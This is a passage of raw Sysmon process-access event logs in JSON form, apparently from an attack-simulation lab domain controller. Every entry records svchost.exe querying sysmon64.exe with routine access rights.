C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1436,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1437,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1438,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1439,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1440,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1441,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1442,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1443,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 